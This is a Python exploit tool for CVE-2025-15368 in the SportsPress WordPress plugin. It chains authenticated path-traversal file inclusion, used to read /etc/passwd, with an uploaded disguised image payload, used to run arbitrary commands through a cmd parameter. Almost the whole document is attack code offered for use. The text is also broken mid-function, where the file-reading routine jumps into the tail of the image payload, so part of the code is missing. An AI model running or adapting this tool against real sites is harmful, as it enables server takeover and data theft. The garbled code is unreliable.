#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-15368 Exploit Tool - SportsPress <= 2.7.26 Local File Inclusion (LFI) to Remote Code Execution (RCE) Author: kazehere4you Date: 2026-02-11 """ import requests import argparse import re import sys import random import string import time from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) # Colors for terminal output class Colors: HEADER = '\033[95m' BLUE = '\033[94m' GREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' @staticmethod def print_success(msg): print(f"{Colors.GREEN}[+] {msg}{Colors.ENDC}") @staticmethod def print_error(msg): print(f"{Colors.FAIL}[-] {msg}{Colors.ENDC}") @staticmethod def print_info(msg): print(f"{Colors.BLUE}[*] {msg}{Colors.ENDC}") @staticmethod def print_warning(msg): print(f"{Colors.WARNING}[!] {msg}{Colors.ENDC}") def print_banner(): banner = f"""{Colors.BLUE}{Colors.BOLD} ╔═══════════════════════════════════════════════════════════════╗ ║ CVE-2025-15368 Exploit Tool ║ ║ SportsPress Plugin <= 2.7.26 - LFI & RCE ║ ║ ║ ║ Coded by: kazehere4you ║ ╚═══════════════════════════════════════════════════════════════╝ {Colors.ENDC}""" print(banner) class SportsPressExploit: def __init__(self, url, username, password): self.url = url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.session.verify = False self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' }) def login(self): Colors.print_info(f"Authenticating as user: {self.username}...") login_url = f"{self.url}/wp-login.php" try: # Get initial cookies and nonce r = self.session.get(login_url) data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In', 'redirect_to': f"{self.url}/wp-admin/", 'testcookie': '1' } r = self.session.post(login_url, data=data) if 'wp-admin' in r.url or 'wordpress_logged_in' in r.cookies.keys() or any('wordpress_logged_in' in c.name for c in self.session.cookies): Colors.print_success("Login successful!") return True Colors.print_error("Login failed. Check credentials.") return False except requests.exceptions.RequestException as e: Colors.print_error(f"Connection error: {e}") return False def get_nonce(self, page='post-new.php'): try: r = self.session.get(f"{self.url}/wp-admin/{page}") if 'wp-login.php' in r.url: Colors.print_warning("Session expired or redirected to login.") return None, None # Try to find nonce nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text) if nonce_match: return nonce_match.group(1), r # Fallback for upload page (sometimes inside JSON) nonce_match = re.search(r'"multipart_params":.*"nonces":{"create":"([a-f0-9]+)"', r.text) if nonce_match: return nonce_match.group(1), r return None, r except Exception as e: Colors.print_error(f"Error fetching nonce: {e}") return None, None def trigger_lfi(self, file_path): # We know [event_list] works from research # Traversal logic: try varying depths shortcode_name = 'event_list' Colors.print_info(f"Attempting LFI for: {file_path}") # Helper to create draft and preview def try_path(path): traversal = "../" * 4 # Default standard depth # But specific depth might be needed. The calling function handles the paths. shortcode = f'[{shortcode_name} template_name="{path}"]' wp_nonce, r_page = self.get_nonce('post-new.php') if not wp_nonce: Colors.print_error("Could not retrieve nonce.") return None user_id = "1" match = re.search(r'"user_id":(\d+)', r_page.text) if match: user_id = match.group(1) post_id = "" match = re.search(r"post_ID' value='(\d+)'", r_page.text) if match: post_id = match.group(1) post_data = { 'post_title': f'Exploit Draft {random.randint(1000,9999)}', 'content': shortcode, 'post_status': 'draft', 'post_type': 'post', '_wpnonce': wp_nonce, 'user_ID': user_id, 'action': 'editpost', 'post_ID': post_id } # Save draft self.session.post(f"{self.url}/wp-admin/post.php", data=post_data) # Preview path preview_url = f"{self.url}/?p={post_id}&preview=true" r = self.session.get(preview_url) return r.text # 1. Try passing the path directly (assuming caller provided traversal) result = try_path(file_path) return result def chain_lfi(self, target_file="/etc/passwd"): print(f"{Colors.HEADER}--- Starting LFI Attack Chain ---{Colors.ENDC}") Colors.print_info(f"Target File: {target_file}") Colors.print_warning("Note: wrapper 'php://filter' is blocked by file_exists() check.") # Generate varied depths depths = range(3, 8) found = False for d in depths: path = ("../" * d) + target_file.lstrip('/') Colors.print_info(f"Trying traversal depth {d}: {path}") content = self.trigger_lfi(path) if content: # Check for common file signatures if "root:x:0:0:" in content or "[mysqld]" in content or "' + b'\xFF\xD9' filename = f"image_{random.randint(1000,9999)}.jpg" files = { 'async-upload': (filename, payload, 'image/jpeg') } # 2. Get Upload Nonce # media-new.php usually contains the nonce we need wp_nonce, _ = self.get_nonce('media-new.php') if not wp_nonce: # Fallback to upload.php wp_nonce, _ = self.get_nonce('upload.php') if not wp_nonce: Colors.print_error("Failed to retrieve upload nonce. Check user permissions.") return upload_url = f"{self.url}/wp-admin/async-upload.php" data = { 'name': filename, 'action': 'upload-attachment', '_wpnonce': wp_nonce } # 3. Upload File Colors.print_info("Uploading payload...") r = self.session.post(upload_url, files=files, data=data) file_url = None if 'id' in r.text and 'success' in r.text: try: resp = r.json() if resp.get('success'): file_url = resp['data']['url'] Colors.print_success(f"Upload successful: {file_url}") except: pass if not file_url: Colors.print_error("Upload failed.") Colors.print_info(f"Server response logic: {r.text[:200]}") return # 4. Extract Relative Path for LFI # URL: http://site.com/wp-content/uploads/2025/02/file.jpg # Path: wp-content/uploads/2025/02/file.jpg try: if 'wp-content' in file_url: rel_path = 'wp-content' + file_url.split('wp-content')[1] else: Colors.print_error("Could not parse relative path from URL.") return except: Colors.print_error("Path parsing error.") return Colors.print_info(f"Relative path for LFI: {rel_path}") # 5. Trigger LFI to execute RCE Colors.print_info(f"Triggering RCE with command: {check_cmd}") # Traversal to reach root, then down to wp-content # Usually ../../../ or ../../../../ depending on plugin structure. # Plugin is in wp-content/plugins/sportspress/templates/ # So: # ../ -> plugins/sportspress/ # ../../ -> plugins/ # ../../../ -> wp-content/ # ../../../../ -> root/ # We need to go to root, then append rel_path (which starts with wp-content) # So ../../../../ + wp-content/... traversal_path = "../../../../" + rel_path # To pass arguments to the included file via LFI in this context is tricky. # HOWEVER, since we are doing a GET request to the PREVIEW page, # $_GET['cmd'] global variable WILL be available to the included file! # Create Post Draft shortcode_name = 'event_list' shortcode = f'[{shortcode_name} template_name="{traversal_path}"]' wp_nonce, r_page = self.get_nonce('post-new.php') if not wp_nonce: return match = re.search(r"post_ID' value='(\d+)'", r_page.text) post_id = match.group(1) if match else "" post_data = { 'post_title': 'RCE Exploit', 'content': shortcode, 'post_status': 'draft', 'post_type': 'post', '_wpnonce': wp_nonce, 'user_ID': '1', 'action': 'editpost', 'post_ID': post_id } self.session.post(f"{self.url}/wp-admin/post.php", data=post_data) # 6. Execute exploit_url = f"{self.url}/?p={post_id}&preview=true&cmd={check_cmd}" Colors.print_info(f"Sending payload request: {exploit_url}") r = self.session.get(exploit_url) # 7. Check output # Look for command output (uid=33(www-data)...) # or simplified check if we used die() if r.status_code == 200: # Try to grab content before the HTML mess if die() worked, # otherwise regex for common output content = r.text # Simple heuristic for 'id' command or similar if "uid=" in content or "gid=" in content or "Windows" in content: Colors.print_success("RCE Confirmed!") print(f"\n{Colors.GREEN}[+] Command Output:{Colors.ENDC}\n") # Try to extract just the output (assuming it's at the start or distinct) # Since we added die(), it should be at the very top of where the shortcode renders # accessing standard output: # But WordPress wrapper HTML might surround it. # Let's clean it up slightly clean_output = re.sub(r'<[^>]+>', '', content).strip() # Just show first 5 lines lines = clean_output.splitlines() for line in lines[:10]: if line.strip(): print(line) else: Colors.print_warning("Command executed but no obvious output found. Inspect response manually.") # print(content[:500]) else: Colors.print_error(f"Failed to trigger LFI. Status: {r.status_code}") def main(): print_banner() parser = argparse.ArgumentParser(description='SportsPress Exploit CLI') parser.add_argument('-u', '--url', required=True, help='Target WordPress URL (e.g. http://localhost:8080)') parser.add_argument('-user', '--username', required=True, help='WordPress Username (Contributor+)') parser.add_argument('-p', '--password', required=True, help='WordPress Password') parser.add_argument('--lfi', help='File to leak (default: /etc/passwd)', const='/etc/passwd', nargs='?') parser.add_argument('--rce', help='Command to execute (default: id)', const='id', nargs='?') args = parser.parse_args() if not args.lfi and not args.rce: Colors.print_error("Please select an attack mode: --lfi [file] or --rce [cmd]") return exploit = SportsPressExploit(args.url, args.username, args.password) if exploit.login(): if args.lfi: exploit.chain_lfi(args.lfi) if args.rce: exploit.chain_rce(args.rce) if __name__ == "__main__": main()